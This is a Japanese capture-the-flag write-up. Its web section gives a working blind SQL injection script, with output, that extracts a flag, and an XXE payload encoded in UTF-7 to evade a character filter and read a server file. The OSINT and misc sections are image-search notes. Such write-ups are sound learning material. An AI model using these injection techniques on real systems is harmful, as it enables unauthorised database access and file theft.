普段やらないwebやosint問へ挑戦してみた記録。
全冠11着くらいでした
【web】SimpleDB
状況整理
PoC
import requests from string import ascii_letters, digits, punctuation def check_flag_completed(flag: str): print(f"shioCTF{{{flag}}}") continued = input("continue? [y/n]: ") if continued in ["n", "N"]: exit(0) def decipher_letters_one_by_one(url: str) -> None: flag = "" # string.printableでよかったかも ascii_and_digits_punctuation = \ f"{ascii_letters}{digits}{punctuation}".replace("%", "") while True: for adp in ascii_and_digits_punctuation: tmp = flag + adp + "%" data = { "username": f"admin' AND password LIKE 'shioCTF{{{tmp}}}'; --", "password": "" } response = requests.post(url, data=data) if response.status_code == 200: flag += adp break check_flag_completed(flag) if __name__ == '__main__': protocol = "http" target = "20.205.137.99" port = "49999" decipher_letters_one_by_one(url=f"{protocol}://{target}:{port}")
output
❯ python exploit.py shioCTF{b} continue? [y/n]: y shioCTF{b1} continue? [y/n]: y shioCTF{b1i} continue? [y/n]: y shioCTF{b1in} continue? [y/n]: y shioCTF{b1ind} continue? [y/n]: y shioCTF{b1ind_} continue? [y/n]: y shioCTF{b1ind_s} continue? [y/n]: y shioCTF{b1ind_sq} continue? [y/n]: y shioCTF{b1ind_sql} continue? [y/n]: y shioCTF{b1ind_sqli} continue? [y/n]: y shioCTF{b1ind_sqli_} continue? [y/n]: y shioCTF{b1ind_sqli_i} continue? [y/n]: y shioCTF{b1ind_sqli_i5} continue? [y/n]: y shioCTF{b1ind_sqli_i5_} continue? [y/n]: y shioCTF{b1ind_sqli_i5_d} continue? [y/n]: y shioCTF{b1ind_sqli_i5_d4} continue? [y/n]: y shioCTF{b1ind_sqli_i5_d4n} continue? [y/n]: y shioCTF{b1ind_sqli_i5_d4ng} continue? [y/n]: y shioCTF{b1ind_sqli_i5_d4nge} continue? [y/n]: y shioCTF{b1ind_sqli_i5_d4nger} continue? [y/n]: y shioCTF{b1ind_sqli_i5_d4nger0} continue? [y/n]: y shioCTF{b1ind_sqli_i5_d4nger0u} continue? [y/n]: y shioCTF{b1ind_sqli_i5_d4nger0u5} continue? [y/n]: y shioCTF{b1ind_sqli_i5_d4nger0u5!} continue? [y/n]: y shioCTF{b1ind_sqli_i5_d4nger0u5!} continue? [y/n]: n
【web】card
状況整理
- Dockerfileからwebアプリのappディクトリ配下にflag.txtがある
- send関数でxmlファイルを送り、view関数で送られたxmlを見れる仕様
- /card/message/text()でflag.txtを読み込めるようなinjectionを仕込む?
- XXE
- 条件:&と%が書き換えられる
- encode変えて回避?
- Cyberchefとかでencodeを変えてみる
PoC
import requests def send_xml(url: str) -> None: """ Restrictions: - card_data.replace('&','') - card_data.replace('%','') """ # 通常版 # xml_payload = '<?xml version="1.0" encoding="UTF-8"?>' \ # + '<!DOCTYPE test [<!ENTITY foo SYSTEM "file:///app/flag.txt">]>' \ # + '<card><message>&foo;</message></card>' # エクスプロイト用 xml_payload = '<?xml version="1.0" encoding="UTF-7"?>' \ + '+ADw-+ACE-DOCTYPE+ACA-test+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-foo+ACA-SYSTEM+ACA-+ACI-file:///app/flag.txt+ACI-+AD4-+AF0-+AD4-+ADw-card+AD4-+ADw-message+AD4-+ACY-foo+ADs-+ADw-/message+AD4-+ADw-/card+AD4-' # recipient_idはcookieから取ってくる data = { "recipient_id": "<id>", "card_data": f"{xml_payload}" } requests.post(url=f"{url}/send", data=data) if __name__ == '__main__': protocol = "http" target = "20.2.65.248" port = "60001" send_xml(url=f"{protocol}://{target}:{port}")
【osint】aburasoba
- googleの画像検索に画像を投入
- 「武蔵野アブラ學会 早稲田総本店(アブラ学会)」で似た写真が出てくる
- 「 武蔵野アブラ學会 早稲田総本店 音楽」
- 「 武蔵野アブラ學会 早稲田総本店 ルパン」
【osint】club
- 「 早稲田大学 CTF」
- m1z0r3以外のCTFチームをがむしゃらに探す
【misc】fictional mountain
- googleの画像検索に画像を投入
- gunshinというゲームの画像らしいことがわかる
- 地図みたいな部分を切り取りもう一度googleの画像検索にかける
- 「Inazuma City with Icons」というredditの記事を見つける
- 「 Kamisato manor on Narukami island」
- 「Kamisato Estate」(神里屋敷)というワードが出てくる
- 「 神里屋敷 標高」
- 原神科学:標高ランキングという記事を漁る
おわりに
OSINT好きじゃないかも…